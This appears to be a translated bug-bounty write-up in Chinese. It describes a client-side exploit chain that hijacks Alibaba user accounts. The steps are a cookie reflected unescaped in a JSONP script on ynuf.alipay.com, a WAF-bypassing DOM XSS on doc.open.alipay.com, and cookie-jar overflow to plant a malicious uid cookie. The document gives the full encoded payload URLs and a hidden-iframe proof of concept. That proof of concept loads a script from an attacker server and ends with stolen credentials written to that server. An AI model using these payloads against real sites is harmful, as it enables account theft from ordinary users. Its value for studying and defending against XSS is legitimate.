这篇文章将要向大家分享一个案例:利用某些客户端漏洞获得数个阿里巴巴网站的用户帐户。
阿里巴巴在 hackerone.com上有一个很大的公测项目,一般情况下我不太测这个,他们对漏洞修复的态度特别拖拉。
开工
文章内容有点长,但还是需要先介绍下一些基础概念,比如JSONP,以及一些浏览器如何处理cookie的等等。
攻击
大多数阿里巴巴的网站都要加载并且执行一个外部的JS对象,通过这个JS代码可以从cookie中获取一个uid的值,而这个uid可以被攻击者替换掉,然后加载恶意的payload导致用户账户被窃取。
漏洞发现步骤简述
- 发现一个URL返回的JS代码在很多阿里的网站上都会执行
- 意识到这个URL在JS代码里面反射了cookie的值
- 检索*.alipay.com网站中具有XSS的来控制cookie
- 在一个子域名中发现一个存储型XSS
- 操纵入口点两次绕过WAF
- 用一个不常见的手段重写cookie
- 在网站上执行JS代码,eg,login.alibaba.com
- 写个exp来获得阿里网站上的任意用户
- exp通过了几乎所有最新版本google chrome、火狐浏览器的测试。文末附上了POC。
一步步演示
接下来我主要讲述漏洞的细节部分,希望对安全团队所有帮助。
什么是JSONP
JSPON是一个用来发送JSON数据的方法:
可利用的外部JS对象
如图所示,很多阿里的网站都从这个网站外部加载JS对象:https://ynuf.alipay.com/uid
js代码:
um.__idcb("5cb143654b94f4a5")
这个代码很简单。仔细观察可以发现5cb143654b94f4a5取自先前在ynuf.alipay.com域中设置的uid cookie。 如果用户没有cookie,则服务器会在响应中设置相应的值,否则取其值。 工作流程如图:
发现问题的request/response顺序:
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Accept: */*
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 17:38:10 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: d181bf00669d40c0
Set-Cookie: uid=d181bf00669d40c0; expires=Thu, 30 Jan 2031 08:00:00 GMT
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("26fadf90bac907a7")
第二个request/response包:
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=d181bf00669d40c0
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("d181bf00669d40c0")
第三个request/response包:
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=")+alert("Injected
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("")+alert("Injected")
因为这里没有对cookie值进行转义,因此可以注入恶意代码。那么什么样的漏洞可以导致控制cookie呢?
ynuf.alipay.com中的跨站点脚本攻击
在ynuf.alipay.com上花了点时间找XSS失败了,因为这个网站功能较少。
关于cookie的一个重要说明
乍看之下,需要ynuf.alipay.com中的XSS来改变cookie的值。 根据RFC6265,a.b.com可以设置具有域属性.b.com和a.b.com的cookie,其中浏览器自动将具有.b.com属性的cookie发送到b.com子域。
因此,通过x.y.alipay.com域名,可以设置带有.alipay.com和.y.alipay.com属性的cookie。 Cookie由浏览器用于所有.alipay.com子域名。 所以只需* .alipay.com中的一个小型XSS即可触发这一系列的站。 有效payload如下:
uid=")+alert("xss;domain=.alipay.com
在*.alipay.com上发现XSS
一番搜索发现一个网站doc.open.alipay.com,访问下面这个URL重定向到这个用户:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo
仔细观察这个URL可以发现,JavaScript处理的重定向不是3xx。 查看代码还显示,可以通过向查询字符串添加articleId参数来阻止重定向。
触发XSS的第一个简单测试是通过双引号
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo”>&articleId=bar
结果显示:
服务器端的处理:
那有没机会利用XSS呢?
JS的魔力
在开始之前,我应该注意到一个jQuery棘手的地方。
棘手之处
如果jQuery通过.val()从表单中获取HTML编码值,则返回相应的HTML解码值。
<input id="input" value="&"" />
jQuery:
$('#input').val() // return &"
回到前面发现漏洞部分,仔细观察可以发现,反映关键字值的页面的一部分(在doc.open.alipay.com中)是由JavaScript制作的,为了找到构成该部分的JavaScript代码也是花了大力气:
它是这个利用链中最重要的JavaScript代码,有很多话说,听我细细道来。 服务器正确编码输入JSearchKeywork中的参数关键字。 但是,考虑第3行,d.one(“.JSearchKeyword”).val()返回HTML解码值,该值在下面的几行中插入到页面中,目的是注入XSS有效payload,即使是HTML编码格式,它也不是什么公认的基于DOM的XSS攻击向量:
发送最简单的XSS有效payload。 but,服务器端很是烦人。 数据流:
绕过服务器端处理
生成XSS的第一步是添加一个新的HTML标记。 但是,服务器貌似在对关键字参数传递的标签应用某种规则。 fuzzing一番:
猜测有以下规则/条件:
- 删除属性并闭合有效HTML标记的标记,<a href>转为<a> </a>
- 无效标签被递归完全删除。<blah>或<bl <blah>ah>没有了。
一般情况下值>和<预计是要转义成&amp; gt;和&amp; lt;。 但 事实上,上一个request/response显示的不是这样的,立马发现服务器正在应用自定义HTML编码器功能:
1.输入未被识别为有效的html编码值 – > html_encode(value)
2.如果输入被识别为有效的HTML编码值 – >返回 value 这个有个小问题但是是一个很大的漏洞。 神奇的输入是:
">%26gt;script%26lt;
然后,注入XSS有效payload:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;script%26lt;
结果:
被WAF拦了。
绕过WAF
利用服务器端过滤功能的第二条规则(删除无效的HTML标记)可以成功绕过WAF。
数据流:
可是没有成功。 因为JavaScript发出了另一个AJAX请求。 考虑到gist代码的第10行,之前提到的JavaScript库依赖于AJAX请求。 请求是:
https://doc.open.alipay.com/doc2/search.htm?platformId&keyword=”><script>&searchType=0¤t=1
再一次被WAF拦截,因为检测到payload是恶意的(毫无疑问,任何WAF应该阻止“> <script>)。坏消息是根据库只有200状态码才能够触发payload(第11行) 要点):
if (200 == b.code) {
因此,需要一个有效payload能同时绕过两个请求中的WAF。 这就需要更多的模糊测试了。 测试了几组后,发现了有效的payload:
<details/open/ontoggle=JS>
感谢HTML 5。所以最终的有效payload是:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=”>%26gt;details%2fopen%2fontoggle=%26lt;
第二个AJAX请求
https://doc.open.alipay.com/doc2/search.htm?platformId&keyword=”><details/open/ontoggle=>&searchType=0¤t=1
均成功绕过WAF!
利用场景
遇到的问题
- 由于ynuf.alipay.com使用uid名称为其域设置cookie,因此无法从其他域名覆盖。 使用.alipay.com属性添加另一个具有相同名称的cookie也无法解决问题,因为如果域中存在两个名为xxx的cookie,则默认行为是浏览器在HTTP请求中将旧的一个放入,以便服务器获取第一个cookie。
覆盖cookie
- 测试表明,浏览器可以为每个域名节省有限数量的cookie。 例如,谷歌浏览器为一个域节省了不到150个cookie,而Firefox节省了大约200个。更多细节:
- http://browsercookielimits.squawky.net/
- 因此,有效载荷很简单:
- for(var i=0;i<1000;i++){
document.cookie=i+’=1;domain=.alipay.com’
}
document.cookie=’uid=foo;domain=.alipay.com;path=/’ - 所以攻击向量通过添加许多垃圾cookie来消除旧的uid cookie,添加由恶意有效负载填充的新uid cookie。
弹窗payload
- 由于WAF阻止了“)+alert(”xss,替换同等值绕过WAF:
- document.cookie=’uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/’
综上
最终的payload比想象中的要简单很多:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E
访问上面的URL会在cookie中注入恶意JavaScript代码,该代码能在阿里巴巴公司的许多域名中执行,例如:
https://login.alibaba.com/
https://passport.alibaba.com/mini_login.htm?appName=hrjob
https://accounts.alibaba.com/register/cnfm_reg.htm
https://login.taobao.com/member/login.jhtml
https://reg.taobao.com/member/reg/fill_mobile.htm
https://login.aliexpress.com/
http://tp.amap.com/
http://id.amap.com/
https://passport.alibaba-inc.com/ssoLogin.htm?APP_NAME=iworkmanage
https://ipp.alibabagroup.com/login.htm
https://mp.dayu.com/
https://passport.umeng.com/login
https://passport.damai.cn/loginEn
…………
最后一击
本次测试最终目标是在阿里巴巴的网站上进行窃取账号。 该方案诱使用户点击链接,然后如果用户下次登录,该帐户将被泄露。 触发漏洞的链接源:
<html>
<center>
<img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img>
<iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>
</html>
iframe代码使用下面payload而不是alert来注入恶意JavaScript文件并动态加载它:
"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""
paylaod定位在 https://myserver/xpl.js:
https://gist.github.com/Voorivex/fa975b30262b54ca3a6a671988e088e3#file-alibaba-final-xss-payload-js
终于等到一个用户访问了这个恶意链接并且登录了https://login.alibaba.com/,盗取token并且保存在https://myserver/xxx-alibaba/data.txt
{"u":"alibaba@alibaba.com","p":"password"}
成功获得用户名密码。





















